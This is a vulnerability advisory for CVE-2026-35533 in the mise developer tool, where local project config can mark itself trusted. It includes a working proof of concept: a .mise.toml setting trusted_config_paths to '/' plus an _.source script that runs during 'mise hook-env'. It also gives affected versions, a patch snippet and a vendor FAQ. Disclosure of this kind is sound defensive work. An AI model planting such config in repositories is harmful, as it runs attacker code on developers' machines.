CVE-2026-35533

mise loads trust-control settings from a local project .mise.toml before the trust check runs. An attacker who can place a malicious .mise.toml in a repository can make that same file appear trusted and then reach dangerous directives such as [env] _.source, templates, hooks, or tasks.

The strongest current variant is trusted_config_paths = ["/"]. I confirmed on current v2026.3.17 in Docker that this causes an untrusted project config to become trusted during mise hook-env, which then executes an attacker-controlled _.source script. The same preload issue also lets local yes = true / ci = true auto-approve trust prompts on v2026.2.18+, but the primary PoC below uses the stronger trusted_config_paths path.

Details

The vulnerable load order is:

1. Settings::try_get() preloads local settings files.
2. parse_settings_file() returns settings_file.settings without checking whether the file is trusted.
3. trust_check() later consults those already-loaded settings.

The main trust-bypass path is in is_trusted():

let settings = Settings::get();
for p in settings.trusted_config_paths() {
    if canonicalized_path.starts_with(p) {
        add_trusted(canonicalized_path.to_path_buf());
        return true;
    }
}

If a local project file sets:

[settings]
trusted_config_paths = ["/"]

then every absolute path matches, so the same untrusted file is marked trusted before the dangerous-directive guard is reached.

Related variant: trust_check() auto-accepts explicit trust prompts when Settings::get().yes is true, and Settings::try_get() sets yes = true when ci is set. I confirmed that regression on v2026.2.18, but the primary PoC below does not depend on it.

PoC

Test environment:

• Docker
• linux-arm64
• mise v2026.3.17

Negative control:

[env]
_.source = ["./poc.sh"]

mise ls fails with:

Config files in /work/poc/.mise.toml are not trusted.

and /tmp/mise-proof.txt is not created.

Primary exploit:

[settings]
trusted_config_paths = ["/"]

[env]
_.source = ["./poc.sh"]

with:

#!/usr/bin/env bash
echo trusted_paths_hookenv > /tmp/mise-proof.txt

Then:

mise hook-env -s bash --force

Observed:

/tmp/mise-proof.txt => trusted_paths_hookenv

Related regression check:

• v2026.2.17: local yes = true does not bypass trust
• v2026.2.18: the same local yes = true value auto-approves the trust prompt and the side effect file is created

An attacker who can place a .mise.toml in a repository can make mise trust and evaluate dangerous directives from that same untrusted file.

Demonstrated on current supported versions:

• execution via [env] _.source during mise hook-env
• bypass of the protection that mise trust is supposed to provide for dangerous config features

On newer versions, the same root cause also lets local yes / ci values auto-approve explicit trust prompts.

CVE-2026-35533 has a CVSS score of 7.7 (High). The vector is requires local access, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2026.6.4); upgrading removes the vulnerable code path.

Kodem intelligence

Do not honor trust-control settings from non-global project config files.

At minimum, ignore these fields when loading local project config:

• trusted_config_paths
• yes
• ci
• paranoid

For example:

pub fn parse_settings_file(path: &Path) -> Result<SettingsPartial> {
    let raw = file::read_to_string(path)?;
    let settings_file: SettingsFile = toml::from_str(&raw)?;
    let mut settings = settings_file.settings;

    if !config::is_global_config(path) {
        settings.yes = None;
        settings.ci = None;
        settings.trusted_config_paths = None;
        settings.paranoid = None;
    }

    Ok(settings)
}

1. What is CVE-2026-35533? CVE-2026-35533 is a high-severity security vulnerability in mise (rust), affecting versions >= 2026.2.18, < 2026.6.4. It is fixed in 2026.6.4.
2. How severe is CVE-2026-35533? CVE-2026-35533 has a CVSS score of 7.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of mise are affected by CVE-2026-35533? mise (rust) versions >= 2026.2.18, < 2026.6.4 is affected.
4. Is there a fix for CVE-2026-35533? Yes. CVE-2026-35533 is fixed in 2026.6.4. Upgrade to this version or later.
5. Is CVE-2026-35533 exploitable, and should I be worried? Whether CVE-2026-35533 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-35533 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-35533? Upgrade mise to 2026.6.4 or later.